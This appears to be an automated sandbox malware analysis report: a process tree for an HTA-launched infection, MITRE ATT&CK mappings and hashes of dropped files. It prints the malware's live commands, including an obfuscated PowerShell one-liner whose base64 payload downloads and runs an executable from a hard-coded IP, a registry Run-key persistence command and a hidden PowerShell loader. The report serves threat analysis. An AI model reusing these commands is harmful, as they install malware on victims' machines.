        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Miljfarlig" /t REG_EXPAND_SZ /d "%skaberevnes% -windowstyle minimized $Irreconcilable=(Get-ItemProperty -Path 'HKCU:\Untranquilly\').Vnnedes;%skaberevnes% ($Irreconcilable)"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5268
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Miljfarlig" /t REG_EXPAND_SZ /d "%skaberevnes% -windowstyle minimized $Irreconcilable=(Get-ItemProperty -Path 'HKCU:\Untranquilly\').Vnnedes;%skaberevnes% ($Irreconcilable)"
        9⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:5224
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Downloads\IEexplore.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  PID:2644
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" "/c POWERsHEll.exE -EX BYPASs -NOp -W 1 -C DeVICEcrEDentiAlDePloYment.exE ; IEX($(IEX('[sySTEm.TEXt.EnCOdING]'+[ChaR]58+[cHAr]58+'UTf8.gETsTRINg([SyStEM.Convert]'+[CHar]58+[chAr]0x3A+'FrombaSE64sTriNg('+[chaR]0x22+'JHA2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZGQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJlUmRFRklOaXRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNb04uZGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9sU2ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtdldpckdhYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGp2Tix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCS2gsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQnJRY2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNZXNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxWk5PRVFESXFKYiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHA2OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMjMuOTQuMjM5LjExMi8xMTgvc2Fob3N0LmV4ZSIsIiRlTlY6QVBQREFUQVxzYWhvc3RzLmV4ZSIsMCwwKTtzdGFSdC1zTGVFUCgzKTtTVGFyVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVxzYWhvc3RzLmV4ZSI='+[cHAr]0x22+'))')))"
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    PID:4956
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      POWERsHEll.exE -EX BYPASs -NOp -W 1 -C DeVICEcrEDentiAlDePloYment.exE ; IEX($(IEX('[sySTEm.TEXt.EnCOdING]'+[ChaR]58+[cHAr]58+'UTf8.gETsTRINg([SyStEM.Convert]'+[CHar]58+[chAr]0x3A+'FrombaSE64sTriNg('+[chaR]0x22+'JHA2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZGQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJlUmRFRklOaXRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNb04uZGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9sU2ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtdldpckdhYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGp2Tix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCS2gsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQnJRY2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNZXNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxWk5PRVFESXFKYiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHA2OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMjMuOTQuMjM5LjExMi8xMTgvc2Fob3N0LmV4ZSIsIiRlTlY6QVBQREFUQVxzYWhvc3RzLmV4ZSIsMCwwKTtzdGFSdC1zTGVFUCgzKTtTVGFyVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVxzYWhvc3RzLmV4ZSI='+[cHAr]0x22+'))')))"
      4⤵
      Blocklisted process makes network request
      Evasion via Device Credential Deployment
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2484
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bji34ug5\bji34ug5.cmdline"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5296
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCF27.tmp" "c:\Users\Admin\AppData\Local\Temp\bji34ug5\CSCEF73A7B7F0AB4D3F9045F725B0623E68.TMP"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5332
    - - C:\Users\Admin\AppData\Roaming\sahosts.exe
        
        "C:\Users\Admin\AppData\Roaming\sahosts.exe"
        5⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:5980
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -windowstyle hidden "$Apologetics=Get-Content 'C:\Users\Admin\AppData\Local\Temp\ew\Tubolabellate255\drmmesynerne\Planular\Fikserbilleders.Suv';$Nybyggerens=$Apologetics.SubString(4057,3);.$Nybyggerens($Apologetics)"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        
        PID:6016
        
        C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        7⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:5988
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Miljfarlig" /t REG_EXPAND_SZ /d "%skaberevnes% -windowstyle minimized $Irreconcilable=(Get-ItemProperty -Path 'HKCU:\Untranquilly\').Vnnedes;%skaberevnes% ($Irreconcilable)"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5340
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Miljfarlig" /t REG_EXPAND_SZ /d "%skaberevnes% -windowstyle minimized $Irreconcilable=(Get-ItemProperty -Path 'HKCU:\Untranquilly\').Vnnedes;%skaberevnes% ($Irreconcilable)"
        9⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:5384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2244,3487686970082828278,1589205008122725566,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3180 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5732

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1364

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4952

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5264

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Downloads\IEexplore.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
PID:5456
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c POWERsHEll.exE -EX BYPASs -NOp -W 1 -C DeVICEcrEDentiAlDePloYment.exE ; IEX($(IEX('[sySTEm.TEXt.EnCOdING]'+[ChaR]58+[cHAr]58+'UTf8.gETsTRINg([SyStEM.Convert]'+[CHar]58+[chAr]0x3A+'FrombaSE64sTriNg('+[chaR]0x22+'JHA2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZGQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJlUmRFRklOaXRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNb04uZGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9sU2ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtdldpckdhYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGp2Tix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCS2gsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQnJRY2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNZXNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxWk5PRVFESXFKYiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHA2OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMjMuOTQuMjM5LjExMi8xMTgvc2Fob3N0LmV4ZSIsIiRlTlY6QVBQREFUQVxzYWhvc3RzLmV4ZSIsMCwwKTtzdGFSdC1zTGVFUCgzKTtTVGFyVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVxzYWhvc3RzLmV4ZSI='+[cHAr]0x22+'))')))"
  2⤵
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  PID:5536
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    POWERsHEll.exE -EX BYPASs -NOp -W 1 -C DeVICEcrEDentiAlDePloYment.exE ; IEX($(IEX('[sySTEm.TEXt.EnCOdING]'+[ChaR]58+[cHAr]58+'UTf8.gETsTRINg([SyStEM.Convert]'+[CHar]58+[chAr]0x3A+'FrombaSE64sTriNg('+[chaR]0x22+'JHA2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZGQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJlUmRFRklOaXRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNb04uZGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9sU2ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtdldpckdhYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGp2Tix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCS2gsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQnJRY2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNZXNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxWk5PRVFESXFKYiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHA2OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMjMuOTQuMjM5LjExMi8xMTgvc2Fob3N0LmV4ZSIsIiRlTlY6QVBQREFUQVxzYWhvc3RzLmV4ZSIsMCwwKTtzdGFSdC1zTGVFUCgzKTtTVGFyVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVxzYWhvc3RzLmV4ZSI='+[cHAr]0x22+'))')))"
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5596
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pqyr2dga\pqyr2dga.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5236
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEE38.tmp" "c:\Users\Admin\AppData\Local\Temp\pqyr2dga\CSCA40C8448C67F47AD826B448FAC2EB784.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5324
  - - C:\Users\Admin\AppData\Roaming\sahosts.exe
      "C:\Users\Admin\AppData\Roaming\sahosts.exe"
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:5432
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -windowstyle hidden "$Apologetics=Get-Content 'C:\Users\Admin\AppData\Local\Temp\ew\Tubolabellate255\drmmesynerne\Planular\Fikserbilleders.Suv';$Nybyggerens=$Apologetics.SubString(4057,3);.$Nybyggerens($Apologetics)"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        
        PID:5632
      - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        6⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:5616
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5616 -s 352
        7⤵
        Program crash
        
        PID:5508
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5616 -s 352
        7⤵
        Program crash
        
        PID:1824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 5616 -ip 5616
1⤵
PID:2108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

Filesize
717B

MD5
822467b728b7a66b081c91795373789a

SHA1
d8f2f02e1eef62485a9feffd59ce837511749865

SHA256
af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9

SHA512
bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

Filesize
192B

MD5
9b9cfa0cfc368089eee20fa4e7364554

SHA1
a0a4fb474ab739fb17f2ab77eacac0b8593435ca

SHA256
7c83d7f1d816246b2f037c6e69e4847cd81aebd748e26ddcafc0e9171c91e0cb

SHA512
efae05897bfd09235a9aa9b26f5a51b7bdf181a40077b7545bf97ef5502372ecfaef20b2612d1faf368c3997efc88b8825c4dfecdec0b107dfa65db214ca9a30

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

Filesize
192B

MD5
891f74f9cf737247f1ed08d7777ef015

SHA1
461915f105dce77d7b52e3e6d2967c17e6ea4247

SHA256
f14d34e7e71cc6dd6d6cc58760c51a1561297b500b9698c072a63db171c2d7d2

SHA512
1eda0f62efeb7964a2d73f180fa75e7a1964843222139e71d1cd97f5b9610379b8f3f899094c0be2ca9401142e5719f16b9f333b4edc88c838992e8ba56b49a5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9faf6f9cd1992cdebfd8e34b48ea9330

SHA1
ae792d2551c6b4ad5f3fa5585c0b0d911c9f868e

SHA256
0c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953

SHA512
05b34627f348b2973455691bcb7131e4a5236cfece653d22432746ccd14d211b9b279f0913fbd7bb150f00eb2f2c872f4f5518f3903e024699fd23c50d679e97

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
d7114a6cd851f9bf56cf771c37d664a2

SHA1
769c5d04fd83e583f15ab1ef659de8f883ecab8a

SHA256
d2c75c7d68c474d4b8847b4ba6cfd09fe90717f46dd398c86483d825a66e977e

SHA512
33bdae2305ae98e7c0de576de5a6600bd70a425e7b891d745cba9de992036df1b3d1df9572edb0f89f320e50962d06532dae9491985b6b57fd37d5f46f7a2ff8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
719923124ee00fb57378e0ebcbe894f7

SHA1
cc356a7d27b8b27dc33f21bd4990f286ee13a9f9

SHA256
aa22ab845fa08c786bd3366ec39f733d5be80e9ac933ed115ff048ff30090808

SHA512
a207b6646500d0d504cf70ee10f57948e58dab7f214ad2e7c4af0e7ca23ce1d37c8c745873137e6c55bdcf0f527031a66d9cc54805a0eac3678be6dd497a5bbc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
937303f62ac415a811420ddcaaac2751

SHA1
c4e459dcb12eea666a0fe5fd8b48997afc79999b

SHA256
f9a728eb0ce43b918710a394949a96ed2245a7fa97cc519d101631f65672bdeb

SHA512
853ea466bed698073978c3fd9d9b27d6b0eff8b52b6ff455854fb99b3355ca7601fa333a1102f15d77e94d7e91d78aa1cdc3e775f02e7434f4e2d2481f20a8cc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
bad7d14ed07ef11ee8cb088c1d2ec201

SHA1
f8bea766252dc57a08d0a79ad33854e771dece84

SHA256
98623b6fb448b30e8da17976c2dbf9e90072ccd4b929e1d1f995775edb1ec614

SHA512
b338ef107c3c90c0e356bf88c05dc64904645b3eda39a4f106efbb4343049ccb3449c7665936e2258328fa2ff525332a6e716599df1976b444786ca1da2e752b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
8de498bca268b1f3813b132fca00cee0

SHA1
8ccfe040d5eb5615167930d5d5e35ecbc954eae0

SHA256
7976574f49d8cb3d59390620d8af307d0ff0555325e5263bff8e8865bd693401

SHA512
7aef1e55cfea3620220b5322aa66acc4a47f20cfb453a600adef4be1b93ebb67cbe9a5f31703890379d497231107009cf0d0139225516dc1048afcf3027e6ae7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
f1e4389a9581f1fb87ecd01903aa9c50

SHA1
0e21c0548c992c74c507b2c08b9edddc71d315af

SHA256
6ec1fd0190f3099d0a27b37999d8617895d31a23c731ca7467faf622f243bc14

SHA512
6b0fc3c11eac0d02f79cd632cf5403c7d06b009efb9e02a6aec743547f785687dd1ef5be45759a104b932f676b0ac2fc99f4f804130ebc74a3d01b2ecd62570d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
ef3b6142c2bb966ec38494c8c95842e8

SHA1
d04ae0b472a122ed5868f93d2e2d58e23c1b1bed

SHA256
0c9e898fe594a67fa6a8acfefa48d8bda13b8b9d19a2a9bb0f59ae68048e5da7

SHA512
401a687b4ca80c6ea6351e6b7e3004c8394301eaa8cbdd73b7b38ea0fecaa95bb9c9080987832734234c94e21ee62b00ef82c45fb27f130415a24045c4cf9fe2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
69c2cc8494ea90d968955fb9fa6e4ec3

SHA1
bc0c956d37d8a57f7f27140d77d9cb45c94e6a44

SHA256
61474213bfee4a29134edb0730c7f7d945f31f2cd3585d3a701ec26826185d47

SHA512
c43da585c716f09d75a6457ce6a587065ed4a5edc732f7d9e9471d795e59ffb430e06d2c699549fc4477a6ce6a192f4957ae41c10f827ebcbc951b0e67a569b6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\THHXO5RX\sahost[1].exe

Filesize
806KB

MD5
9cef532829a4ca2cf13279ac134873d8

SHA1
68f4c94bf29fb0cbde97973083f85bf08382f2a2

SHA256
61dcfda4694ea3f6bafab018feb9cbcaced299f1996b4a7adaf79a3a81cc788d

SHA512
f938aa8fddeac26fc862c1bd312ac2ef57843e7922b4e14b4b69b8db9888bf250f5572df79fe13710df89293c116da144d7da90d0783b8e85e56d0791607d1b5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
d4d8cef58818612769a698c291ca3b37

SHA1
54e0a6e0c08723157829cea009ec4fe30bea5c50

SHA256
98fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0

SHA512
f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
cd2c8b691624c6a357d1ed2a97571c08

SHA1
655b15072a5cce70d7f8e4c27ba7221359fce4ab

SHA256
89c9cd1379906c437d9fbe9b67ffa6fb811b3efe27710516ab2785b60d9cf818

SHA512
ebcd84ce0c656991fea3a69253480b7244d9ece2991a937d7bde6fb0a2d58e126a90d65c980e77233fe981094e3d691a058d0e80ec431affabb63c310b7f84de

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
dc61113ea53432a7fe2e1ff120d5781c

SHA1
0516d0d51706d1b028f147de912409235a889710

SHA256
50b0cb4d27f97cf0524dc263d629cec665b7c597f628f889e88c9b3c4b8985f3

SHA512
2afdc2656f26d57c5bccd11cea82884c33ed464350256691ca2144aa3834f7c83534bece8bf93389881e4b1b55a72ef99c03aaebbf1e16fc2343100fc213b9f3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
15f4179a8206d27a7518a1c1c5a63a6c

SHA1
c5f4d76824f33af807e899ecf8396cbc92417ce1

SHA256
3e1810dc15038cffcad53f827e0384c02961c97a8b54ec3560688298fb959875

SHA512
fd351d9a0ad7a7cd3d6cb549ef7cd6bca78aaa19c42fbe5815e32c6e44cf3e7be2956d18edf897ea4f673ccc63ba81ebfd3bdb4699b64a74e0861e8535929c73

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESCA45.tmp

Filesize
1KB

MD5
97adfd1cd093ca54d5699140d7625703

SHA1
623125da290be5571cd4da964a9cc6f11844b6e7

SHA256
a7b7dd89687a07962e9ff7bfdf4652cac5e0785e20194a14ddb036f3280faaf8

SHA512
599540a67292f9c15ee901d8aaadc324c5f77801992a099dbb17a3e3d6749079bedda06c986cb96a34de1b9185c39befdf846a8fc92d41cd2e414420c9780702

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESCF27.tmp

Filesize
1KB

MD5
3081355efa732c14a00699d8c1d45581

SHA1
dcbec470beb0288d12b13d7f048b81df6f43b687

SHA256
e28d595e1f7d382cd9885cabf38f80a840b25d5a3d9f9cc478e64459c6057356

SHA512
89f533d443ba89fd7e73dd2fdaaa90842a1a38314dba5516031d54d57f818ad2e24e1a292498b7cdc98a1bfe8a1e40b90107848a8672286d7c41a5720c7de59f

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESEE38.tmp

Filesize
1KB

MD5
c6d476570b60fc5e7d606f7cefdf2e86

SHA1
40a3968c4b0a5f0399a54124a5be3899cae30e09

SHA256
9314d96ee32305ee8bf8a35ff5fc9fa943be07ec67bccad07583d76a2b866cef

SHA512
